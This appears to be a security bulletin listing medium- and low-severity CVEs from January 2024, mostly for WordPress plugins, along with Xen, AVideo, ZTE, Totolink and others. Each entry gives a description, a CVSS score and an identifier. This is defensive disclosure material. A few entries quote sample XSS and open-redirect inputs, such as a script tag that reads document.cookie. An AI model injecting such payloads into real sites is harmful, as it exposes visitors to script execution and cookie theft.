wordpress -- wordpress	The Oxygen Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a custom field in all versions up to, and including, 4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: Version 4.8.1 of the Oxygen Builder plugin for WordPress addresses this vulnerability by implementing an optional filter to provide output escaping for dynamic data. Please see https://oxygenbuilder.com/documentation/other/security/#filtering-dynamic-data for more details.	2024-01-11	6.4	CVE-2023-6938
wordpress -- wordpress	The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's extend_builder_render_js shortcode in all versions up to, and including, 1.0.239 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-6988

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'catlist' shortcode in all versions up to, and including, 0.89.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.5	CVE-2023-6994
wordpress -- wordpress	The Email Encoder - Protect Email Addresses and Phone Numbers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's eeb_mailto shortcode in all versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-7070
wordpress -- wordpress	The Essential Blocks - Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Table of Contents block in all versions up to, and including, 4.4.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-7071
wordpress -- wordpress	The Advanced Woo Search plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the search parameter in all versions up to, and including, 2.96 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This only affects sites when the Dynamic Content for Elementor plugin is also installed.	2024-01-13	6.1	CVE-2024-0251
wordpress -- wordpress	The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.33.3. This is due to missing or incorrect nonce validation on the give_sendwp_disconnect function. This makes it possible for unauthenticated attackers to deactivate the SendWP plugin via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-11	5.4	CVE-2023-4247
wordpress -- wordpress	The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.33.3. This is due to missing or incorrect nonce validation on the give_stripe_disconnect_connect_stripe_account function. This makes it possible for unauthenticated attackers to deactivate the plugin's stripe integration settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-11	5.4	CVE-2023-4248
wordpress -- wordpress	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ShapedPlugin LLC WP Tabs - Responsive Tabs Plugin for WordPress allows Stored XSS.This issue affects WP Tabs - Responsive Tabs Plugin for WordPress: from n/a through 2.2.0.	2024-01-05	5.4	CVE-2023-52124
wordpress -- wordpress	The Essential Real Estate WordPress plugin before 4.4.0 does not apply proper capability checks on its AJAX actions, which among other things, allow attackers with a subscriber account to conduct Stored XSS attacks.	2024-01-08	5.4	CVE-2023-6141
wordpress -- wordpress	The Export WP Page to Static HTML/CSS plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on multiple AJAX actions in all versions up to, and including, 2.1.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to disclose sensitive information or perform unauthorized actions, such as saving advanced plugin settings.	2024-01-11	5.4	CVE-2023-6369

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The Manage Notification E-mails plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.8.5 via the card_famne_export_settings function. This makes it possible for unauthenticated attackers to obtain plugin settings.	2024-01-11	5.3	CVE-2023-6496
wordpress -- wordpress	The FOX - Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via currency options in all versions up to, and including, 1.4.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	5.4	CVE-2023-6556
wordpress -- wordpress	The ElementsKit Elementor addons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.3 via the ekit_widgetarea_content function. This makes it possible for unauthenticated attackers to obtain contents of posts in draft, private or pending review status that should not be visible to the general public. This applies to posts created with Elementor only.	2024-01-11	5.3	CVE-2023-6582
wordpress -- wordpress	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Laybuy Laybuy Payment Extension for WooCommerce allows Stored XSS.This issue affects Laybuy Payment Extension for WooCommerce: from n/a through 5.3.9.	2024-01-08	5.4	CVE-2024-21745
wordpress -- wordpress	The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.33.3. This is due to missing or incorrect nonce validation on the give_sendwp_remote_install_handler function. This makes it possible for unauthenticated attackers to install and activate the SendWP plugin via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-11	4.3	CVE-2023-4246
wordpress -- wordpress	The Chatbot for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in version 2.3.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-11	4.4	CVE-2023-5691
wordpress -- wordpress	The LearnPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.2.5.7 via the /wp-json/lp/v1/profile/course-tab REST API due to missing validation on the 'userID' user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve the details of another user's course progress.	2024-01-11	4.3	CVE-2023-6223
wordpress -- wordpress	The Calculated Fields Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2.40 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-11	4.4	CVE-2023-6446
wordpress -- wordpress	The Depicter Slider - Responsive Image Slider, Video Slider & Post Slider plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.6. This is due to missing or incorrect nonce validation on the 'save' function. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. CVE-2023-51491 appears to be a duplicate of this issue.	2024-01-05	4.3	CVE-2023-6493

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The User Profile Builder - Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the wppb_toolbox_usermeta_handler function in all versions up to, and including, 3.10.7. This makes it possible for authenticated attackers, with contributor-level access and above, to expose sensitive information within user metadata.	2024-01-11	4.3	CVE-2023-6504
wordpress -- wordpress	The WP 2FA - Two-factor authentication for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.5.0 via the send_backup_codes_email due to missing validation on a user controlled key. This makes it possible for subscriber-level attackers to email arbitrary users on the site.	2024-01-11	4.3	CVE-2023-6506
wordpress -- wordpress	The WP 2FA - Two-factor authentication for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.0. This is due to missing or incorrect nonce validation on the send_backup_codes_email function. This makes it possible for unauthenticated attackers to send emails with arbitrary content to registered users via a forged request granted they can trick a site administrator or other registered user into performing an action such as clicking on a link. While a nonce check is present, it is only executed if a nonce is set. By omitting a nonce from the request, the check can be bypassed.	2024-01-11	4.3	CVE-2023-6520
wordpress -- wordpress	The WordPress Button Plugin MaxButtons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 9.7.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. Administrators can give button creation privileges to users with lower levels (contributor+) which would allow those lower-privileged users to carry out attacks.	2024-01-09	4.8	CVE-2023-6594
wordpress -- wordpress	The Import and export users and customers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.24.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	4.9	CVE-2023-6624
wordpress -- wordpress	The Contact Form 7 - Dynamic Text Extension plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.1.0 via the CF7_get_custom_field and CF7_get_current_user shortcodes due to missing validation on a user controlled key. This makes it possible for authenticated attackers with contributor access or higher to access arbitrary metadata of any post type, referencing the post by id and the meta by key.	2024-01-11	4.3	CVE-2023-6630
wordpress -- wordpress	The Enable Media Replace plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the SHORTPIXEL_DEBUG parameter in all versions up to, and including, 4.1.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploiting this vulnerability requires the attacker to know the ID of an attachment uploaded by the user they are attacking.	2024-01-11	4.7	CVE-2023-6737
wordpress -- wordpress	The Gallery Plugin for WordPress - Envira Photo Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to an improper capability check on the 'envira_gallery_insert_images' function in all versions up to, and including, 1.8.7.1. This makes it possible for authenticated attackers, with contributor access and above, to modify galleries on other users' posts.	2024-01-11	4.3	CVE-2023-6742

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The Formidable Forms - Contact Form, Survey, Quiz, Payment, Calculator Form & Custom Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the name field label and description field label parameter in all versions up to 6.7 (inclusive) due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. By default, this only affects multi-site installations and installations where unfiltered_html has been disabled. However, in the formidable settings admins can extend form creation, deletion and other management permissions to other user types, which makes it possible for this vulnerability to be exploited by lower level user types as long as they have been granted the proper permissions.	2024-01-09	4.4	CVE-2023-6842
wordpress -- wordpress	The Easy Social Feed plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on multiple AJAX functions in all versions up to, and including, 6.5.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform unauthorized actions, such as modifying the plugin's Facebook and Instagram access tokens and updating group IDs.	2024-01-11	4.3	CVE-2023-6883
wordpress -- wordpress	The Photo Gallery by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widgets in versions up to, and including, 1.8.18 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with administrator-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. It can also be exploited with a contributor-level permission with a page builder plugin.	2024-01-11	4.4	CVE-2023-6924
wordpress -- wordpress	The LightStart - Maintenance Mode, Coming Soon and Landing Page Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the insert_template function in all versions up to, and including, 2.6.8. This makes it possible for authenticated attackers, with subscriber-level access and above, to change page designs.	2024-01-11	4.3	CVE-2023-7019
wordpress -- wordpress	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in weDevs WP ERP | Complete HR solution with recruitment & job listings | WooCommerce CRM & Accounting.This issue affects WP ERP | Complete HR solution with recruitment & job listings | WooCommerce CRM & Accounting: from n/a through 1.12.8.	2024-01-08	4.9	CVE-2024-21747
wordpress -- wordpress	The Video PopUp plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'video_popup' shortcode in versions up to, and including, 1.1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	6.4	CVE-2023-4962
wordpress -- wordpress	The Paid Memberships Pro - Content Restriction, User Registration, & Paid Subscriptions plugin for WordPress is vulnerable to unauthorized modification of membership levels created by the plugin due to an incorrectly implemented capability check in the pmpro_rest_api_get_permissions_check function in all versions up to 2.12.5 (inclusive). This makes it possible for unauthenticated attackers to change membership levels including prices.	2024-01-11	5.3	CVE-2023-6855
wordpress -- wordpress	The Weaver Xtreme theme for WordPress is vulnerable to Stored Cross-Site Scripting via custom post meta in all versions up to, and including, 6.3.0 due to insufficient input sanitization and output escaping on user supplied meta (page-head-code). This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-11	5.4	CVE-2023-6990

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wordpress -- wordpress	The SpeedyCache plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the speedycache_save_varniship, speedycache_img_update_settings, speedycache_preloading_add_settings, and speedycache_preloading_delete_resource functions in all versions up to, and including, 1.1.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to update plugin options.	2024-01-11	4.3	CVE-2023-6598
wpaffiliatemanager -- affiliates_manager	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in wp.Insider, wpaffiliatemgr Affiliates Manager.This issue affects Affiliates Manager: from n/a through 2.9.30.	2024-01-05	5.3	CVE-2023-52148
wpmet -- metform_elementor_contact_form_builder	The Metform Elementor Contact Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.1. This is due to missing or incorrect nonce validation on the contents function. This makes it possible for unauthenticated attackers to update the options "mf_hubsopt_token", "mf_hubsopt_refresh_token", "mf_hubsopt_token_type", and "mf_hubsopt_expires_in" via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This would allow an attacker to connect their own Hubspot account to a victim site's metform to obtain leads and contacts.	2024-01-09	5.4	CVE-2023-6788
wwbn -- avideo	An information disclosure vulnerability exists in the aVideoEncoder.json.php chunkFile path functionality of WWBN AVideo 11.6 and dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.	2024-01-10	6.5	CVE-2023-47171
wwbn -- avideo	An information disclosure vulnerability exists in the aVideoEncoderReceiveImage.json.php image upload functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.This vulnerability is triggered by the `downloadURL_gifimage` parameter.	2024-01-10	6.5	CVE-2023-49862
wwbn -- avideo	An information disclosure vulnerability exists in the aVideoEncoderReceiveImage.json.php image upload functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.This vulnerability is triggered by the `downloadURL_webpimage` parameter.	2024-01-10	6.5	CVE-2023-49863
wwbn -- avideo	An information disclosure vulnerability exists in the aVideoEncoderReceiveImage.json.php image upload functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.This vulnerability is triggered by the `downloadURL_image` parameter.	2024-01-10	6.5	CVE-2023-49864
wwbn -- avideo	A recovery notification bypass vulnerability exists in the userRecoverPass.php captcha validation functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to the silent creation of a recovery pass code for any user.	2024-01-10	5.3	CVE-2023-50172
wwbn -- avideo	A unrestricted php file upload vulnerability exists in the import.json.php temporary copy functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary code execution when chained with an LFI vulnerability. An attacker can send a series of HTTP requests to trigger this vulnerability.	2024-01-10	4.3	CVE-2023-49715
xen -- xen	When a transaction is committed, C Xenstored will first check the quota is correct before attempting to commit any nodes. It would be possible that accounting is temporarily negative if a node has been removed outside of the transaction. Unfortunately, some versions of C Xenstored are assuming that the quota cannot be negative and are using assert() to confirm it. This will lead to C Xenstored crash when tools are built without -DNDEBUG (this is the default).	2024-01-05	5.5	CVE-2023-34323 security@xen.org

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
xen -- xen	[This CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] AMD CPUs since ~2014 have extensions to normal x86 debugging functionality. Xen supports guests using these extensions. Unfortunately there are errors in Xen's handling of the guest state, leading to denials of service. 1) CVE-2023-34327 - An HVM vCPU can end up operating in the context of a previous vCPUs debug mask state. 2) CVE-2023-34328 - A PV vCPU can place a breakpoint over the live GDT. This allows the PV vCPU to exploit XSA-156 / CVE-2015-8104 and lock up the CPU entirely.	2024-01-05	5.5	CVE-2023-34327 security@xen.org
xen -- xen	[This CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] AMD CPUs since ~2014 have extensions to normal x86 debugging functionality. Xen supports guests using these extensions. Unfortunately there are errors in Xen's handling of the guest state, leading to denials of service. 1) CVE-2023-34327 - An HVM vCPU can end up operating in the context of a previous vCPUs debug mask state. 2) CVE-2023-34328 - A PV vCPU can place a breakpoint over the live GDT. This allows the PV vCPU to exploit XSA-156 / CVE-2015-8104 and lock up the CPU entirely.	2024-01-05	5.5	CVE-2023-34328 security@xen.org
xen -- xen	The current setup of the quarantine page tables assumes that the quarantine domain (dom_io) has been initialized with an address width of DEFAULT_DOMAIN_ADDRESS_WIDTH (48) and hence 4 page table levels. However dom_io being a PV domain gets the AMD-Vi IOMMU page tables levels based on the maximum (hot pluggable) RAM address, and hence on systems with no RAM above the 512GB mark only 3 page-table levels are configured in the IOMMU. On systems without RAM above the 512GB boundary amd_iommu_quarantine_init() will setup page tables for the scratch page with 4 levels, while the IOMMU will be configured to use 3 levels only, resulting in the last page table directory (PDE) effectively becoming a page table entry (PTE), and hence a device in quarantine mode gaining write access to the page destined to be a PDE. Due to this page table level mismatch, the sink page the device gets read/write access to is no longer cleared between device assignment, possibly leading to data leaks.	2024-01-05	5.5	CVE-2023-46835 security@xen.org
xen -- xen	The fixes for XSA-422 (Branch Type Confusion) and XSA-434 (Speculative Return Stack Overflow) are not IRQ-safe. It was believed that the mitigations always operated in contexts with IRQs disabled. However, the original XSA-254 fix for Meltdown (XPTI) deliberately left interrupts enabled on two entry paths; one unconditionally, and one conditionally on whether XPTI was active. As BTC/SRSO and Meltdown affect different CPU vendors, the mitigations are not active together by default. Therefore, there is a race condition whereby a malicious PV guest can bypass BTC/SRSO protections and launch a BTC/SRSO attack against Xen.	2024-01-05	4.7	CVE-2023-46836 security@xen.org
xwiki -- xwiki	XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A user able to attach a file to a page can post a malformed TAR file by manipulating file modification times headers, which when parsed by Tika, could cause a denial of service issue via CPU consumption. This vulnerability has been patched in XWiki 14.10.18, 15.5.3 and 15.8 RC1.	2024-01-09	6.5	CVE-2024-21651
yugeshverma -- online_lawyer_management_system	A vulnerability classified as problematic has been found in Project Worlds Online Lawyer Management System 1.0. Affected is an unknown function of the component User Registration. The manipulation of the argument First Name leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249822 is the identifier assigned to this vulnerability.	2024-01-07	5.4	CVE-2024-0266
zte -- mf258	There is a Cross-site scripting (XSS) vulnerability in ZTE MF258. Due to insufficient input validation of SMS interface parameter, an XSS attack will be triggered.	2024-01-10	5.7	CVE-2023-41781 psirt@zte.com.cn
zte -- zxcloud_irai_firmware	There is a DLL hijacking vulnerability in ZTE ZXCLOUD iRAI, an attacker could place a fake DLL file in a specific directory and successfully exploit this vulnerability to execute malicious code.	2024-01-05	4.8	CVE-2023-41782 psirt@zte.com.cn

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
škoda -- superb_iii	By sending a specific reset UDS request via OBDII port of Skoda vehicles, it is possible to cause vehicle engine shutdown and denial of service of other vehicle components even when the vehicle is moving at a high speed. No safety critical functions affected.	2024-01-12	4.7	CVE-2023-28899 cve@asrg.io

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
changedetection -- changedetection	changedetection.io is an open source tool designed to monitor websites for content changes. In affected versions the API endpoint `/api/v1/watch/<uuid>/history` can be accessed by any unauthorized user. As a result, any unauthorized user can check one's watch history. However, because unauthorized party first needs to know a watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal. This issue has been addressed in version 0.45.13. Users are advised to upgrade. There are no known workarounds for this vulnerability.	2024-01-19	3.7	CVE-2024-23329
codeastro -- internet_banking_system	A vulnerability, which was classified as problematic, was found in CodeAstro Internet Banking System 1.0. This affects an unknown part of the file pages_client_signup.php. The manipulation of the argument Client Full Name with the input <meta http-equiv="refresh" content="0; url=https://vuldb.com" /> leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251697 was assigned to this vulnerability.	2024-01-22	3.5	CVE-2024-0781
codeastro -- online_railway_reservation_system	A vulnerability has been found in CodeAstro Online Railway Reservation System 1.0 and classified as problematic. This vulnerability affects unknown code of the file pass-profile.php. The manipulation of the argument First Name/Last Name/User Name leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251698 is the identifier assigned to this vulnerability.	2024-01-22	3.5	CVE-2024-0782
codeastro -- stock_management_system	A vulnerability was found in CodeAstro Stock Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file /index.php of the component Add Category Handler. The manipulation of the argument Category Name/Category Description leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252203.	2024-01-27	3.5	CVE-2024-0958
dell -- unity	Dell Unity, versions prior to 5.4, contain a vulnerability whereby log messages can be spoofed by an authenticated attacker. An attacker could exploit this vulnerability to forge log entries, create false alarms, and inject malicious content into logs that compromise logs integrity. A malicious attacker could also prevent the product from logging information while malicious actions are performed or implicate an arbitrary user for malicious activities.	2024-01-24	3.1	CVE-2024-22229
hongmaple -- octopus	A vulnerability was found in hongmaple octopus 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality. The manipulation of the argument description with the input <script>alert(document.cookie)</script> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The associated identifier of this vulnerability is VDB-252043.	2024-01-25	3.5	CVE-2024-0891
lenovo -- tab_m8_hd_tb8505f_firmware	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier.	2024-01-19	3.3	CVE-2023-5081
linzhaoguan -- pb-cms	A vulnerability, which was classified as problematic, has been found in LinZhaoguan pb-cms 2.0. Affected by this issue is some unknown functionality of the component Comment Handler. The manipulation with the input <div onmouseenter="alert("xss)"> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251678 is the identifier assigned to this vulnerability.	2024-01-22	3.5	CVE-2024-0776

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge (Chromium-based) Spoofing Vulnerability	2024-01-26	3.3	CVE-2024-21383
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge (Chromium-based) Spoofing Vulnerability	2024-01-26	2.5	CVE-2024-21336
netbox -- netbox	A vulnerability, which was classified as problematic, has been found in NetBox up to 3.7.0. This issue affects some unknown processing of the file /core/config-revisions of the component Home Page Configuration. The manipulation with the input <<h1 onload=alert(1)>>test</h1> leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252191. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	2.4	CVE-2024-0948
poikosoft -- ez_cd_audio_converter	A vulnerability classified as problematic was found in Poikosoft EZ CD Audio Converter 8.0.7. Affected by this vulnerability is an unknown functionality of the component Activation Handler. The manipulation of the argument Key leads to denial of service. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier VDB-252037 was assigned to this vulnerability.	2024-01-25	3.3	CVE-2024-0886
smp7,wp.insider -- simple_membership	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in smp7, wp.Insider Simple Membership. This issue affects Simple Membership: from n/a through 4.4.1.	2024-01-24	3.4	CVE-2024-22308
totolink -- n200re_v5	A vulnerability was found in Totolink N200RE V5 9.3.5u.6255_B20211224. It has been classified as problematic. Affected is an unknown function of the file /cgi-bin/cstecgi.cgi. The manipulation leads to session expiration. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. VDB-252186 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	3.7	CVE-2024-0942
totolink -- n350rt	A vulnerability was found in Totolink N350RT 9.3.5u.6255. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /cgi-bin/cstecgi.cgi. The manipulation leads to session expiration. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252187. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	3.7	CVE-2024-0943
totolink -- t8	A vulnerability was found in Totolink T8 4.1.5cu.833_20220905. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /cgi-bin/cstecgi.cgi. The manipulation leads to session expiration. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252188. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	3.7	CVE-2024-0944
apple -- magic_keyboard_firmware	A session management issue was addressed with improved checks. This issue is fixed in Magic Keyboard Firmware Update 2.0.6. An attacker with physical access to the accessory may be able to extract its Bluetooth pairing key and monitor Bluetooth traffic.	2024-01-12	2.4	CVE-2024-0230
atrocore -- atropim	A vulnerability, which was classified as problematic, was found in AtroCore AtroPIM 1.8.4. This affects an unknown part of the file /#ProductSerie/view/ of the component Product Series Overview. The manipulation leads to cross site scripting.	2024-01-18	3.5	CVE-2024-0696

Low Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251481 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
beijing_baichuo -- smart_s150_management_platform	A vulnerability classified as problematic has been found in Beijing Baichuo Smart S150 Management Platform V31R02B15. This affects an unknown part of the file /log/download.php of the component Backup File Handler. The manipulation leads to information disclosure. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-251541 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	3.1	CVE-2024-0716
dedebiz -- dedebiz	A vulnerability, which was classified as problematic, was found in DedeBIZ 6.3.0. This affects an unknown part of the component Website Copyright Setting. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250725 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-15	2.4	CVE-2024-0557
dgtlmoon -- changedetection.io	changedetection.io is an open source tool designed to monitor websites for content changes. In affected versions the API endpoint `/api/v1/watch/<uuid>/history` can be accessed by any unauthorized user. As a result any unauthorized user can check one's watch history. However, because unauthorized party first needs to know a watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal. This issue has been addressed in version 0.45.13. Users are advised to upgrade. There are no known workarounds for this vulnerability.	2024-01-19	3.7	CVE-2024-23329
discourse -- discourse	Discourse-reactions is a plugin that allows user to add their reactions to the post. Data about a user's reaction notifications could be exposed. This vulnerability was patched in commit 2c26939.	2024-01-12	3.5	CVE-2023-49098
discourse -- discourse	Discourse is a platform for community discussion. Under very specific circumstances, secure upload URLs associated with posts can be accessed by guest users even when login is required. This vulnerability has been patched in 3.2.0.beta4 and 3.1.4.	2024-01-12	3.1	CVE-2023-49099
factominer -- factoinvestigate	A vulnerability, which was classified as problematic, was found in FactoMineR FactoInvestigate up to 1.9. Affected is an unknown function of the component HTML Report Generator. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251544. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	3.5	CVE-2024-0720
